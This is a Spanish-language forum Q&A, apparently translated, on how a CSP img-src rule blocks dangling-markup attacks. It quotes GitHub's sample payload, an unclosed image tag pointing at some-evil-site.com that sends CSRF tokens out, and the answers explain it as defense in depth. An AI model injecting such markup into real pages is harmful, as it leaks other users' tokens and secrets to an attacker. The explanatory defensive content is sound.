¿Por qué se necesita CSP para protegerse contra la fuga de img-src?

16

GitHub explica el problema con img-src en "Viaje post-CSP de GitHub" :

  

Una etiqueta con una comilla no cerrada capturará toda la salida hasta la siguiente   cita coincidente. Esto podría incluir contenido sensible a la seguridad en el   páginas como:

     

<img src='https://some-evil-site.com/log_csrf?html= <form   %código%   %código%    action="https://github.com/account/public_keys/19023812091023"> ...

     

El elemento de imagen resultante   enviará una solicitud a    enlace ....   Como resultado, un atacante puede aprovechar este ataque de marcado colgante para   exfiltrar tokens CSRF a un sitio de su elección.

¿En qué se diferencia esto de presionar source-source en la página y enviar el contenido manualmente? Si es solo para páginas donde los usuarios pueden insertar entradas, ¿no tenemos que evitar solo esos problemas con las entradas agregando validaciones a la entrada? ¿No impide imr src de otras fuentes en todo el código?

    
pregunta griffon vulture 26.01.2017 - 08:53
fuente

2 respuestas

27

Solo para aclarar cómo funciona el ataque:

  • Un sitio le permite ingresar texto que luego se muestra en algún lugar. No filtra correctamente el HTML.
  • Mallory ingresa <img src='https://some-evil-site.com/log_csrf?html= y envía un enlace a la página a Alice.
  • Alice ve la página y el resto de la página con el contenido secreto de Alice se envía a some-evil-site.com que controla Mallory.
  

En qué se diferencia de presionar la fuente de la página en la página y enviar el contenido manualmente.

Usted ve la fuente en su computadora, generada con sus credenciales, por lo que no contiene nada que sea secreto para usted. El punto del ataque tratado en la publicación del blog es "robar" la fuente de otra persona (mediante la inyección de HTML) para que pueda leer sus secretos.

  

Si es solo para páginas donde los usuarios pueden insertar información, ¿no tenemos que evitar solo esos problemas en las entradas agregando validaciones a la entrada?

Sí, debemos hacerlo incluso si implementamos un CSP. Pero los humanos son criaturas falibles y podríamos cometer errores. Tener un CSP que detenga este tipo de ataque podría ser bueno como defensa en profundidad.

  

¿No impide imr src de otras fuentes en todo el código?

Si no desea permitir imágenes de dominios arbitrarios de todos modos, podría ser bueno agregar a la lista blanca los dominios de los que quiere permitir imágenes y bloquear todo lo demás. De nuevo, debes tener otros tipos de protecciones contra esto, pero nunca está de más tener una copia de seguridad.

    
respondido por el Anders 26.01.2017 - 10:19
fuente
12

Si un usuario presiona "Ver fuente" y envía los datos manualmente, esa es su elección, y nada de lo que haga el sitio lo impedirá. Sin embargo, las configuraciones de CSP son generalmente parte de una estrategia de defensa en profundidad: evitan que ocurran cosas malas, incluso si algo sale mal.

En este caso, intentarán eliminar cualquier error de validación de entrada, pero es realmente fácil cometer un error o perder un caso de ventaja, especialmente cuando desea permitir el contenido del usuario. Si eso funciona, las reglas de CSP nunca entrarán en acción. Sin embargo, si cometen un error, las restricciones de CSP comienzan a aplicarse.

Esta regla específica tiene como objetivo evitar que un usuario malintencionado pueda incluir contenido que pueda filtrar los datos en una página vista por un usuario legítimo. En otras palabras, si pueden poner una etiqueta en una página vista por otros, podrían obtener tokens CSRF, tokens de sesión o detalles personales específicos del usuario. Sin embargo, con la regla CSP implementada, el navegador del usuario legítimo sabe que solo se deben usar los dominios especificados para las imágenes, y ni siquiera intentará cargarlos desde cualquier otro dominio.

Es un poco como tener una alarma en tu casa, incluso cuando cierras las puertas y ventanas. Si las cerraduras son perfectas, nunca debería necesitarlas, pero a veces las personas cometen un error y se olvidan de cerrar una ventana al salir, en cuyo caso, la alarma ayuda a minimizar el daño.

    
respondido por el Matthew 26.01.2017 - 10:12
fuente

Lea otras preguntas en las etiquetas